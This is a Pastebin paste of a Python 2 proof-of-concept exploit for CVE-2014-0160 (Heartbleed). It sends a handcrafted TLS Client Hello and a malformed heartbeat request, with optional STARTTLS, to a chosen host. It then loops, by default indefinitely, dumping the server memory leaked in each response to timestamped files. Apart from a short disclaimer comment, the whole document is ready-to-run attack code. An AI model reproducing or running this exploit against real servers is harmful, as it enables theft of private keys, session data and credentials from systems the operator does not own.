Advertisement
Guest User

Untitled

a guest
Apr 11th, 2014
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.14 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # CVE-2014-0160 exploit PoC
  4. # Originally from test code by Jared Stafford (jspenguin@jspenguin.org)
  5. # Adapted by Johan Nestaas (johannestaas@gmail.com)
  6. # Licensed as GPLv2 with permission from Jared Stafford
  7. #
  8. # **************************************************************************
  9. # * Don't use it for malicious purposes. Only use against servers you own. *
  10. # * I'm not responsible for anything you do with it. Obey all local laws.  *
  11. # * For research purposes, and legitimate and legal pen-testing, only.     *
  12. # **************************************************************************
  13.  
  14. import sys
  15. import struct
  16. import socket
  17. import time
  18. import select
  19. import os
  20.  
  21. def to_hex(x):
  22.     ''' Convert pretty hex to binary '''
  23.     return x.replace(' ', '').replace('\n', '').decode('hex')
  24.  
  25. HELLO = to_hex('''
  26. 16 03 02 00  dc 01 00 00 d8 03 02 53
  27. 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
  28. bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
  29. 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
  30. 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
  31. c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
  32. c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
  33. c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
  34. c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
  35. 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
  36. 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
  37. 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
  38. 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
  39. 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
  40. 00 0f 00 01 01                                  
  41. ''')
  42.  
  43. HEARTBEAT = to_hex('''
  44. 18 03 02 00 03
  45. 01 40 00
  46. ''')
  47.  
  48. def date():
  49.     ''' The date '''
  50.     return time.strftime('%y%m%d')
  51.  
  52. def epoch():
  53.     ''' Seconds past the epoch '''
  54.     return time.strftime('%s')
  55.  
  56. def recvall(sock, length, timeout=5):
  57.     ''' Receive `length` bytes from socket `s`. '''
  58.     endtime = time.time() + timeout
  59.     rdata = ''
  60.     remain = length
  61.     while remain > 0:
  62.         if time.time() > endtime:
  63.             return None
  64.         r, w, e = select.select([sock], [], [], timeout)
  65.         if sock in r:
  66.             data = sock.recv(remain)
  67.             # EOF?
  68.             if not data:
  69.                 return None
  70.             rdata += data
  71.             remain -= len(data)
  72.     return rdata or None
  73.        
  74. def recvmsg(sock):
  75.     ''' Receive a header, then chunk of data. None if unexpected EOF. '''
  76.     hdr = recvall(sock, 5)
  77.     if hdr is None:
  78.         print >>sys.stderr, 'EOF - server closed connection on header'
  79.         return None, None, None
  80.     typ, ver, ln = struct.unpack('>BHH', hdr)
  81.     payload = recvall(sock, ln, timeout=10)
  82.     if payload is None:
  83.         print >>sys.stderr, 'EOF - server closed connection with payload'
  84.         return None, None, None
  85.     return typ, ver, payload
  86.  
  87. def dump_payload(payload, d='.'):
  88.     num = 0
  89.     while num == 0 or os.path.isfile(path):
  90.         path = os.path.join(d, '%s.%d' % (epoch(), num))
  91.         num += 1
  92.     with open(path, 'w') as f:
  93.         f.write(payload)
  94.     return path
  95.  
  96. def recv_payload(s):
  97.     s.send(HEARTBEAT)
  98.     typ, ver, payload = recvmsg(s)
  99.     if typ is None:
  100.         print >>sys.stderr, 'No heartbeat response, not likely vulnerable'
  101.     elif typ == 24:
  102.         if len(payload) > 3:
  103.             return payload
  104.         else:
  105.             print >>sys.stderr, 'Server processed malformed heartbeat.'
  106.     elif typ == 21:
  107.         print >>sys.stderr, 'Server returned error, not likely vulnerable'
  108.     else:
  109.         raise ValueError('unexpected typ: %s' % str(typ))
  110.     return None
  111.  
  112. def connect(host, port, start_tls=False):
  113.     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  114.     print 'Connecting...'
  115.     sock.connect((host, port))
  116.     if start_tls:
  117.         start_tls(sock)
  118.     do_hello(sock)
  119.     return sock
  120.  
  121. def start_tls(sock):
  122.     re = sock.recv(4096)
  123.     sock.send('ehlo starttlstest\n')
  124.     re = sock.recv(1024)
  125.     if not 'STARTTLS' in re:
  126.         print >>sys.stderr, 'STARTTLS not supported'
  127.         sys.exit(0)
  128.     sock.send('starttls\n')
  129.     re = sock.recv(1024)
  130.  
  131. def do_hello(sock):
  132.     print 'Sending Client Hello...'
  133.     sock.send(HELLO)
  134.  
  135.     print 'Waiting for Server Hello...'
  136.     while True:
  137.         typ, ver, pay = recvmsg(sock)
  138.         if typ is None:
  139.             break
  140.         # Look for server hello done message.
  141.         if typ == 22 and ord(pay[0]) == 0x0E:
  142.             break
  143.     if typ is None:
  144.         print 'Server closed connection without sending Server Hello.'
  145.         sys.exit(0)
  146.  
  147. if __name__ == '__main__':
  148.     import argparse
  149.     parser = argparse.ArgumentParser()
  150.     parser.add_argument('-p', '--port', type=int, default=443,
  151.         help='TCP port to target (default: 443)')
  152.     parser.add_argument('-s', '--start-tls', action='store_true',
  153.         default=False, help='Check STARTTLS')
  154.     parser.add_argument('-d', '--dir', default=date(),
  155.         help='dir to dump memory to')
  156.     parser.add_argument('-n', '--num', default=0, type=int,
  157.         help='number of payloads to capture, default 0 (don\'t stop)')
  158.     parser.add_argument('host')
  159.     args = parser.parse_args()
  160.  
  161.     if not os.path.isdir(args.dir):
  162.         print >>sys.stderr, 'Making %s' % args.dir
  163.         os.mkdir(args.dir)
  164.  
  165.     num_payloads = 0
  166.     while args.num == 0 or num_payloads < args.num:
  167.         num_payloads += 1
  168.         while True:
  169.             try:
  170.                 print 'payload[%d]: Connecting' % num_payloads
  171.                 sock = connect(args.host, args.port,
  172.                     start_tls=args.start_tls)
  173.                 print 'payload[%d]: heartbeat request...' % num_payloads
  174.                 sock.send(HEARTBEAT)
  175.                 print 'payload[%d]: getting payload' % num_payloads
  176.                 payload = recv_payload(sock)
  177.                 if payload is None:
  178.                     raise ValueError('Empty payload')
  179.             except socket.error as e:
  180.                 print >>sys.stderr, 'socket error: %s' % str(e)
  181.                 time.sleep(1)
  182.                 continue
  183.             else:
  184.                 break
  185.         path = dump_payload(payload, d=args.dir)
  186.         print 'Dumped to %s' % path
  187.         time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement